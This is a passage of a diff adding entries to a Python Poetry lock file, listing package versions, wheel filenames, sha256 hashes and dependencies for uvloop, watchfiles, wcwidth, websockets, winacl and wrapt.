+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7d37dccc7ae63e61f7b96ee2e19c40f153ba6ce730d8ba4d3b4e9738c1dccc1b"},
+ {file = "uvloop-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cbbe908fda687e39afd6ea2a2f14c2c3e43f2ca88e3a11964b297822358d0e6c"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d97672dc709fa4447ab83276f344a165075fd9f366a97b712bdd3fee05efae8"},
+ {file = "uvloop-0.17.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1e507c9ee39c61bfddd79714e4f85900656db1aec4d40c6de55648e85c2799c"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c092a2c1e736086d59ac8e41f9c98f26bbf9b9222a76f21af9dfe949b99b2eb9"},
+ {file = "uvloop-0.17.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:30babd84706115626ea78ea5dbc7dd8d0d01a2e9f9b306d24ca4ed5796c66ded"},
+ {file = "uvloop-0.17.0.tar.gz", hash = "sha256:0ddf6baf9cf11a1a22c71487f39f15b2cf78eb5bde7e5b45fbb99e8a9d91b9e1"},
+]
+
+[package.extras]
+dev = ["Cython (>=0.29.32,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)", "pytest (>=3.6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+test = ["Cython (>=0.29.32,<0.30.0)", "aiohttp", "flake8 (>=3.9.2,<3.10.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=22.0.0,<22.1.0)", "pycodestyle (>=2.7.0,<2.8.0)"]
+
+[[package]]
+name = "watchfiles"
+version = "0.19.0"
+description = "Simple, modern and high performance file watching and code reload in python."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_10_7_x86_64.whl", hash = "sha256:91633e64712df3051ca454ca7d1b976baf842d7a3640b87622b323c55f3345e7"},
+ {file = "watchfiles-0.19.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b6577b8c6c8701ba8642ea9335a129836347894b666dd1ec2226830e263909d3"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:18b28f6ad871b82df9542ff958d0c86bb0d8310bb09eb8e87d97318a3b5273af"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fac19dc9cbc34052394dbe81e149411a62e71999c0a19e1e09ce537867f95ae0"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09ea3397aecbc81c19ed7f025e051a7387feefdb789cf768ff994c1228182fda"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c0376deac92377817e4fb8f347bf559b7d44ff556d9bc6f6208dd3f79f104aaf"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c75eff897786ee262c9f17a48886f4e98e6cfd335e011c591c305e5d083c056"},
+ {file = "watchfiles-0.19.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb5d45c4143c1dd60f98a16187fd123eda7248f84ef22244818c18d531a249d1"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:79c533ff593db861ae23436541f481ec896ee3da4e5db8962429b441bbaae16e"},
+ {file = "watchfiles-0.19.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3d7d267d27aceeeaa3de0dd161a0d64f0a282264d592e335fff7958cc0cbae7c"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win32.whl", hash = "sha256:176a9a7641ec2c97b24455135d58012a5be5c6217fc4d5fef0b2b9f75dbf5154"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_amd64.whl", hash = "sha256:945be0baa3e2440151eb3718fd8846751e8b51d8de7b884c90b17d271d34cae8"},
+ {file = "watchfiles-0.19.0-cp37-abi3-win_arm64.whl", hash = "sha256:0089c6dc24d436b373c3c57657bf4f9a453b13767150d17284fc6162b2791911"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cae3dde0b4b2078f31527acff6f486e23abed307ba4d3932466ba7cdd5ecec79"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f3920b1285a7d3ce898e303d84791b7bf40d57b7695ad549dc04e6a44c9f120"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9afd0d69429172c796164fd7fe8e821ade9be983f51c659a38da3faaaaac44dc"},
+ {file = "watchfiles-0.19.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68dce92b29575dda0f8d30c11742a8e2b9b8ec768ae414b54f7453f27bdf9545"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:5569fc7f967429d4bc87e355cdfdcee6aabe4b620801e2cf5805ea245c06097c"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5471582658ea56fca122c0f0d0116a36807c63fefd6fdc92c71ca9a4491b6b48"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b538014a87f94d92f98f34d3e6d2635478e6be6423a9ea53e4dd96210065e193"},
+ {file = "watchfiles-0.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20b44221764955b1e703f012c74015306fb7e79a00c15370785f309b1ed9aa8d"},
+ {file = "watchfiles-0.19.0.tar.gz", hash = "sha256:d9b073073e048081e502b6c6b0b88714c026a1a4c890569238d04aca5f9ca74b"},
+]
+
+[package.dependencies]
+anyio = ">=3.0.0"
+
+[[package]]
+name = "wcwidth"
+version = "0.2.6"
+description = "Measures the displayed width of unicode strings in a terminal"
+optional = false
+python-versions = "*"
+files = [
+ {file = "wcwidth-0.2.6-py2.py3-none-any.whl", hash = "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e"},
+ {file = "wcwidth-0.2.6.tar.gz", hash = "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"},
+]
+
+[[package]]
+name = "websockets"
+version = "11.0.3"
+description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3ccc8a0c387629aec40f2fc9fdcb4b9d5431954f934da3eaf16cdc94f67dbfac"},
+ {file = "websockets-11.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d67ac60a307f760c6e65dad586f556dde58e683fab03323221a4e530ead6f74d"},
+ {file = "websockets-11.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d27a4832cc1a0ee07cdcf2b0629a8a72db73f4cf6de6f0904f6661227f256f"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffd7dcaf744f25f82190856bc26ed81721508fc5cbf2a330751e135ff1283564"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7622a89d696fc87af8e8d280d9b421db5133ef5b29d3f7a1ce9f1a7bf7fcfa11"},
+ {file = "websockets-11.0.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bceab846bac555aff6427d060f2fcfff71042dba6f5fca7dc4f75cac815e57ca"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:54c6e5b3d3a8936a4ab6870d46bdd6ec500ad62bde9e44462c32d18f1e9a8e54"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:41f696ba95cd92dc047e46b41b26dd24518384749ed0d99bea0a941ca87404c4"},
+ {file = "websockets-11.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:86d2a77fd490ae3ff6fae1c6ceaecad063d3cc2320b44377efdde79880e11526"},
+ {file = "websockets-11.0.3-cp310-cp310-win32.whl", hash = "sha256:2d903ad4419f5b472de90cd2d40384573b25da71e33519a67797de17ef849b69"},
+ {file = "websockets-11.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:1d2256283fa4b7f4c7d7d3e84dc2ece74d341bce57d5b9bf385df109c2a1a82f"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e848f46a58b9fcf3d06061d17be388caf70ea5b8cc3466251963c8345e13f7eb"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aa5003845cdd21ac0dc6c9bf661c5beddd01116f6eb9eb3c8e272353d45b3288"},
+ {file = "websockets-11.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b58cbf0697721120866820b89f93659abc31c1e876bf20d0b3d03cef14faf84d"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:660e2d9068d2bedc0912af508f30bbeb505bbbf9774d98def45f68278cea20d3"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c1f0524f203e3bd35149f12157438f406eff2e4fb30f71221c8a5eceb3617b6b"},
+ {file = "websockets-11.0.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:def07915168ac8f7853812cc593c71185a16216e9e4fa886358a17ed0fd9fcf6"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b30c6590146e53149f04e85a6e4fcae068df4289e31e4aee1fdf56a0dead8f97"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:619d9f06372b3a42bc29d0cd0354c9bb9fb39c2cbc1a9c5025b4538738dbffaf"},
+ {file = "websockets-11.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:01f5567d9cf6f502d655151645d4e8b72b453413d3819d2b6f1185abc23e82dd"},
+ {file = "websockets-11.0.3-cp311-cp311-win32.whl", hash = "sha256:e1459677e5d12be8bbc7584c35b992eea142911a6236a3278b9b5ce3326f282c"},
+ {file = "websockets-11.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:e7837cb169eca3b3ae94cc5787c4fed99eef74c0ab9506756eea335e0d6f3ed8"},
+ {file = "websockets-11.0.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f59a3c656fef341a99e3d63189852be7084c0e54b75734cde571182c087b152"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2529338a6ff0eb0b50c7be33dc3d0e456381157a31eefc561771ee431134a97f"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:34fd59a4ac42dff6d4681d8843217137f6bc85ed29722f2f7222bd619d15e95b"},
+ {file = "websockets-11.0.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:332d126167ddddec94597c2365537baf9ff62dfcc9db4266f263d455f2f031cb"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6505c1b31274723ccaf5f515c1824a4ad2f0d191cec942666b3d0f3aa4cb4007"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f467ba0050b7de85016b43f5a22b46383ef004c4f672148a8abf32bc999a87f0"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:9d9acd80072abcc98bd2c86c3c9cd4ac2347b5a5a0cae7ed5c0ee5675f86d9af"},
+ {file = "websockets-11.0.3-cp37-cp37m-win32.whl", hash = "sha256:e590228200fcfc7e9109509e4d9125eace2042fd52b595dd22bbc34bb282307f"},
+ {file = "websockets-11.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:b16fff62b45eccb9c7abb18e60e7e446998093cdcb50fed33134b9b6878836de"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fb06eea71a00a7af0ae6aefbb932fb8a7df3cb390cc217d51a9ad7343de1b8d0"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8a34e13a62a59c871064dfd8ffb150867e54291e46d4a7cf11d02c94a5275bae"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4841ed00f1026dfbced6fca7d963c4e7043aa832648671b5138008dc5a8f6d99"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a073fc9ab1c8aff37c99f11f1641e16da517770e31a37265d2755282a5d28aa"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68b977f21ce443d6d378dbd5ca38621755f2063d6fdb3335bda981d552cfff86"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1a99a7a71631f0efe727c10edfba09ea6bee4166a6f9c19aafb6c0b5917d09c"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bee9fcb41db2a23bed96c6b6ead6489702c12334ea20a297aa095ce6d31370d0"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4b253869ea05a5a073ebfdcb5cb3b0266a57c3764cf6fe114e4cd90f4bfa5f5e"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:1553cb82942b2a74dd9b15a018dce645d4e68674de2ca31ff13ebc2d9f283788"},
+ {file = "websockets-11.0.3-cp38-cp38-win32.whl", hash = "sha256:f61bdb1df43dc9c131791fbc2355535f9024b9a04398d3bd0684fc16ab07df74"},
+ {file = "websockets-11.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:03aae4edc0b1c68498f41a6772d80ac7c1e33c06c6ffa2ac1c27a07653e79d6f"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:777354ee16f02f643a4c7f2b3eff8027a33c9861edc691a2003531f5da4f6bc8"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8c82f11964f010053e13daafdc7154ce7385ecc538989a354ccc7067fd7028fd"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3580dd9c1ad0701169e4d6fc41e878ffe05e6bdcaf3c412f9d559389d0c9e016"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f1a3f10f836fab6ca6efa97bb952300b20ae56b409414ca85bff2ad241d2a61"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df41b9bc27c2c25b486bae7cf42fccdc52ff181c8c387bfd026624a491c2671b"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279e5de4671e79a9ac877427f4ac4ce93751b8823f276b681d04b2156713b9dd"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1fdf26fa8a6a592f8f9235285b8affa72748dc12e964a5518c6c5e8f916716f7"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:69269f3a0b472e91125b503d3c0b3566bda26da0a3261c49f0027eb6075086d1"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:97b52894d948d2f6ea480171a27122d77af14ced35f62e5c892ca2fae9344311"},
+ {file = "websockets-11.0.3-cp39-cp39-win32.whl", hash = "sha256:c7f3cb904cce8e1be667c7e6fef4516b98d1a6a0635a58a57528d577ac18a128"},
+ {file = "websockets-11.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c792ea4eabc0159535608fc5658a74d1a81020eb35195dd63214dcf07556f67e"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e58f2c36cc52d41f2659e4c0cbf7353e28c8c9e63e30d8c6d3494dc9fdedcf"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de36fe9c02995c7e6ae6efe2e205816f5f00c22fd1fbf343d4d18c3d5ceac2f5"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0ac56b661e60edd453585f4bd68eb6a29ae25b5184fd5ba51e97652580458998"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e052b8467dd07d4943936009f46ae5ce7b908ddcac3fda581656b1b19c083d9b"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:42cc5452a54a8e46a032521d7365da775823e21bfba2895fb7b77633cce031bb"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e6316827e3e79b7b8e7d8e3b08f4e331af91a48e794d5d8b099928b6f0b85f20"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8531fdcad636d82c517b26a448dcfe62f720e1922b33c81ce695d0edb91eb931"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c114e8da9b475739dde229fd3bc6b05a6537a88a578358bc8eb29b4030fac9c9"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e063b1865974611313a3849d43f2c3f5368093691349cf3c7c8f8f75ad7cb280"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:92b2065d642bf8c0a82d59e59053dd2fdde64d4ed44efe4870fa816c1232647b"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0ee68fe502f9031f19d495dae2c268830df2760c0524cbac5d759921ba8c8e82"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcacf2c7a6c3a84e720d1bb2b543c675bf6c40e460300b628bab1b1efc7c034c"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b67c6f5e5a401fc56394f191f00f9b3811fe843ee93f4a70df3c389d1adf857d"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d5023a4b6a5b183dc838808087033ec5df77580485fc533e7dab2567851b0a4"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ed058398f55163a79bb9f06a90ef9ccc063b204bb346c4de78efc5d15abfe602"},
+ {file = "websockets-11.0.3-py3-none-any.whl", hash = "sha256:6681ba9e7f8f3b19440921e99efbb40fc89f26cd71bf539e45d8c8a25c976dc6"},
+ {file = "websockets-11.0.3.tar.gz", hash = "sha256:88fc51d9a26b10fc331be344f1781224a375b78488fc343620184e95a4b27016"},
+]
+
+[[package]]
+name = "winacl"
+version = "0.1.7"
+description = "ACL/ACE/Security Descriptor manipulation library in pure Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"},
+ {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"},
+]
+
+[package.dependencies]
+cryptography = ">=38.0.1"
+
+[[package]]
+name = "wrapt"
+version = "1.15.0"
+description = "Module for decorators, wrappers and monkey patching."
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
+files = [
+ {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"},
+ {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"},
+ {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"},
+ {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"},
+ {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"},
+ {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"},
